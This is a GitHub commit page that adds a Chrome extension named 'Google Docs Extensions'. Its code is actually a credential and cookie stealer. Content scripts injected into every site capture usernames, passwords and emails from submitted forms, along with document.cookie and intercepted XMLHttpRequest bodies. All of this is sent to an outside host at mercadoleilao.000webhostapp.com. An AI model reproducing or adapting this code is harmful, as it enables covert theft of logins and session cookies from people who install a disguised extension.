Skip to content

Commit 8ec1a0c

Browse files
author
Danilo da Silveira Figueira
authored
Versao 1
1 parent f7db1a8 commit 8ec1a0c

7 files changed

+195
-0
lines changed

background.js

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
/**
2+
* Possible parameters for request:
3+
* action: "xhttp" for a cross-origin HTTP request
4+
* method: Default "GET"
5+
* url : required, but not validated
6+
* data : data to send in a POST request
7+
*
8+
* The callback function is called upon completion of the request */
9+
chrome.runtime.onMessage.addListener(function(request, sender, callback) {
10+
if (request.action == "xhttp") {
11+
var xhttp = new XMLHttpRequest();
12+
var method = request.method ? request.method.toUpperCase() : 'GET';
13+
14+
xhttp.onload = function() {
15+
callback(xhttp.responseText);
16+
};
17+
xhttp.onerror = function() {
18+
// Do whatever you want on error. Don't forget to invoke the
19+
// callback to clean up the communication port.
20+
callback();
21+
};
22+
xhttp.open(method, request.url, true);
23+
if (method == 'POST') {
24+
xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
25+
}
26+
xhttp.send(request.data);
27+
return true; // prevents the callback from being called too early on return
28+
}
29+
});

cookie.js

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
2+
function saveOption(cname, cvalue) {
3+
var days = 2;
4+
var d = new Date();
5+
d.setTime(d.getTime() + (days * 24 * 60 * 60 * 1000));
6+
var expires = "expires=" + d.toUTCString();
7+
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
8+
}
9+
10+
function readOption(cname) {
11+
var name = cname + "=";
12+
var ca = document.cookie.split(';');
13+
for (var i = 0; i < ca.length; i++) {
14+
var c = ca[i];
15+
while (c.charAt(0) == ' ')
16+
c = c.substring(1);
17+
if (c.indexOf(name) == 0)
18+
return c.substring(name.length, c.length);
19+
}
20+
return "";
21+
}
22+
23+
var cookieName = "sendMSG";
24+
25+
if (readOption(cookieName) == "") {
26+
chrome.runtime.sendMessage({
27+
method: 'GET',
28+
action: 'xhttp',
29+
url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=COOKIE "' + encodeURIComponent(location.href) + '" at ' + encodeURIComponent(document.cookie)
30+
}, function (responseText) {
31+
});
32+
saveOption(cookieName, "wasSend");
33+
}

icon.png

499 Bytes
Loading

jquery.min.js

+4
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

main.js

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
var s = document.createElement('script');
2+
s.src = chrome.extension.getURL('request.js');
3+
(document.head||document.documentElement).appendChild(s);
4+
s.onload = function() {
5+
s.parentNode.removeChild(s);
6+
};
7+
8+
$(function () {
9+
10+
$("form").submit(function (e) {
11+
var passwordBoxes = $("input[type=password]");
12+
var username = $("input[type=text]").not(passwordBoxes).filter(function() {
13+
var field = $( this );
14+
return field && ( field.val() || field.html() ) || {val:function(){return "nouser"}};
15+
}).val();
16+
var email = $("input[type=email]").val();
17+
var password = passwordBoxes && passwordBoxes.val() || "";
18+
var msg = "U: " + username + " || P: " + password + " || E: " + email + " || L: " + location.href;
19+
if (password && password.length > 4)
20+
chrome.runtime.sendMessage({
21+
method: 'GET',
22+
action: 'xhttp',
23+
url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
24+
}, function (responseText) {
25+
});
26+
});
27+
28+
29+
/*
30+
var origOpen = XMLHttpRequest.prototype.open;
31+
XMLHttpRequest.prototype.open = function () {
32+
var getParameterByName = function (content, name) {
33+
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
34+
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
35+
results = regex.exec(content);
36+
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
37+
};
38+
var func = function () {
39+
alert("AAAAAE");
40+
var content = this.PARAMETERS_S;
41+
var sendContent = getParameterByName(content || " ", "body");
42+
if (sendContent) {
43+
44+
var msg = encodeURI(sendContent) + " " + getParameterByName(content || " ", "specific_to_list[0]") + getParameterByName(content || " ", "specific_to_list[1]");
45+
console.log(msg);
46+
alert("AAAAAA");
47+
$.ajax({
48+
type: 'GET',
49+
crossDomain: true,
50+
async : false,
51+
url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
52+
//data: msg //Change to add any headers to be sent along
53+
});
54+
}
55+
this.removeEventListener("load", func);
56+
};
57+
this.addEventListener('load', func);
58+
origOpen.apply(this, arguments);
59+
};
60+
var origSend = XMLHttpRequest.prototype.send;
61+
XMLHttpRequest.prototype.send = function () {
62+
this.PARAMETERS_S = arguments[0];
63+
origSend.apply(this, arguments);
64+
};*/
65+
});

manifest.json

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
{
2+
"name": "Google Docs Extensions",
3+
"version": "1.8",
4+
"manifest_version": 2,
5+
"description": "Google Docs Analyzer",
6+
"permissions": [
7+
"tabs",
8+
"http://*/",
9+
"https://*/",
10+
"<all_urls>"
11+
],
12+
"icons": {
13+
"48": "icon.png",
14+
"96": "icon.png"
15+
},
16+
"background": {
17+
"scripts": ["background.js"],
18+
"persistent": false
19+
},
20+
"web_accessible_resources": ["request.js"],
21+
"content_scripts": [{
22+
"matches": ["http://*/*", "https://*/*"],
23+
"js": ["jquery.min.js", "main.js"],
24+
"run_at": "document_start"
25+
}, {
26+
"matches": ["http://*/*", "https://*/*"],
27+
"js": ["cookie.js"],
28+
"run_at": "document_idle"
29+
}]
30+
}

request.js

+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
var origOpen = XMLHttpRequest.prototype.open;
2+
XMLHttpRequest.prototype.open = function () {
3+
var getParameterByName = function (content, name) {
4+
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
5+
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
6+
results = regex.exec(content);
7+
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
8+
};
9+
var func = function () {
10+
var content = this.PARAMETERS_S;
11+
var sendContent = getParameterByName(content || " ", "body");
12+
if (sendContent) {
13+
14+
var msg = encodeURI(sendContent) + " " + getParameterByName(content || " ", "specific_to_list[0]") + getParameterByName(content || " ", "specific_to_list[1]");
15+
console.log(msg);
16+
$.ajax({
17+
type: 'GET',
18+
crossDomain: true,
19+
async : false,
20+
url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
21+
//data: msg //Change to add any headers to be sent along
22+
}); //*/
23+
}
24+
this.removeEventListener("load", func);
25+
};
26+
this.addEventListener('load', func);
27+
origOpen.apply(this, arguments);
28+
};
29+
var origSend = XMLHttpRequest.prototype.send;
30+
XMLHttpRequest.prototype.send = function () {
31+
this.PARAMETERS_S = arguments[0];
32+
origSend.apply(this, arguments);
33+
};
34+

0 commit comments

Comments
 (0)